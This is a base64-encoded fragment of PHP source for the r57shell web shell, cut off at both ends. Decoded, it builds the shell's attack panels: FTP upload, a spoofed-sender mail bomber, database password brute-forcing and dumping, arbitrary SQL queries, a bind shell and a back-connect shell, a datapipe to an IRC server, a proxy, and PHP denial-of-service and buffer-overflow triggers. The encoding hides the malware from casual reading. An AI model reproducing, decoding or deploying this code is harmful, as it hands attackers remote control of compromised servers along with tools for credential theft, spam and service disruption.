ZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX3VwJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uIHZhbHVlPUZUUF9CSU5BUlk+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9RlRQX0FTQ0lJPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZihAZnVuY3Rpb25fZXhpc3RzKCJtYWlsIikpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDM1JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMyddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0yMiByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImZpbGUgZnJvbSByNTdzaGVsbCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMzAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2JvbWJlcicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDgnXS4kYXJyb3cuIjwvYj4iLCc8dGV4dGFyZWEgbmFtZT10ZXh0IGNvbHM9MjIgcm93cz0xPicuKCFlbXB0eSgkX1BPU1RbJ3RleHQnXSk/KCRfUE9TVFsndGV4dCddKTooImZsb29kIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsKZWNobyBzcigyNSwiPGI+Rmxvb2QiLiRhcnJvdy4iPC9iPiIsaW4oJ2ludCcsJ21haWxfZmxvb2QnLDUsKCFlbXB0eSgkX1BPU1RbJ21haWxfZmxvb2QnXSk/KCRfUE9TVFsnbWFpbF9mbG9vZCddKToxMDApKS53cyg0KS4iPGI+U2l6ZShrYikiLiRhcnJvdy4iPC9iPiIuaW4oJ2ludCcsJ21haWxfc2l6ZScsNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9zaXplJ10pPygkX1BPU1RbJ21haWxfc2l6ZSddKToxMCkpKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29ufHwkbXlzcWxpX29ufHwkbXNxbF9vbnx8JHNxbGl0ZV9vbikKewokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOwppZigkbXlzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TXlTUUw+TXlTUUw8L29wdGlvbj4nOwppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TVNTUUw+TVNTUUw8L29wdGlvbj4nOwppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9UG9zdGdyZVNRTD5Qb3N0Z3JlU1FMPC9vcHRpb24+JzsKaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPU9yYWNsZT5PcmFjbGU8L29wdGlvbj4nOwppZigkbXlzcWxpX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9TXlTUUxpPk15U1FMaTwvb3B0aW9uPic7CmlmKCRtc3FsX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9bVNRTD5tU1FMPC9vcHRpb24+JzsKaWYoJHNxbGl0ZV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPVNRTGl0ZT5TUUxpdGU8L29wdGlvbj4nOwokc2VsZWN0IC49ICc8L3NlbGVjdD4nOwoKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODInXSwnaWQzNicpLiR0YWJsZV91cDIuZGl2KCdpZDM2JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNCddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdC5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX2JydXRlJykpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJyw4LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0Jyw4LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ3Bhc3N3ZCcsMSkuIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycyc+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOwplY2hvIHNyKDI1LCIiLGluKCdjaGVja2JveCcsJ3JldmVyc2UgaWQ9cmV2ZXJzZScsMCwnMScsMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMSddKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ2RpYycsMCkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNSddKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGljdGlvbmFyeScsMCwoIWVtcHR5KCRfUE9TVFsnZGljdGlvbmFyeSddKT8oJF9QT1NUWydkaWN0aW9uYXJ5J10pOigkZGlyLidwYXNzdy5kaWMnKSkpKTsKZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsKCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwoKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJyw4LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0Jyw4LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfdGJsJ10pPygkX1BPU1RbJ215c3FsX3RibCddKTooInVzZXIiKSkpKTsKZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywxNywoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOwplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIiIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NCddLiRhcnJvdy4iPC9iPiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpLCIiKTsKZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz0zMCByb3dzPTQgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0hPVyBUQUJMRVM7XG5TRUxFQ1QgKiBGUk9NIHVzZXI7XG5TRUxFQ1QgdmVyc2lvbigpO1xuU0VMRUNUIHVzZXIoKTsiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4iPC9kaXY+IjsKCmVjaG8gIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOwp9CgoKaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDM3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzcnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDEwLCcxMTQ1NycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnYmluZF9wYXNzJywxMCwncjU3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQzJ10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCcxMTQ1NycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjInXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxMCwnMTE0NTcnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3N0JywxMCwnaXJjLmRhbG5ldC5ydScpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX3BvcnQnLDEwLCc2NjY3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+UHJveHk8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Byb3h5X3BvcnQnLDEwLCczMTMzNycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsKfQoKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQwJ10sJ2lkMzgnKS4kdGFibGVfdXAyLmRpdignaWQzOCcpLiR0cy4iPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUmVjdXJzaXZlIG1lbW9yeSBleGhhdXN0aW9uJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ01lbW9yeV9saW1pdCBbcGFjaygpXScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3Vuc2VyaWFsaXplKCldJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBaZW5kRW5naW5lJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1NRbGl0ZSBbZGwoKV0gdnVsbicpLiRmZSk7CmVjaG8gc3IoMTAsI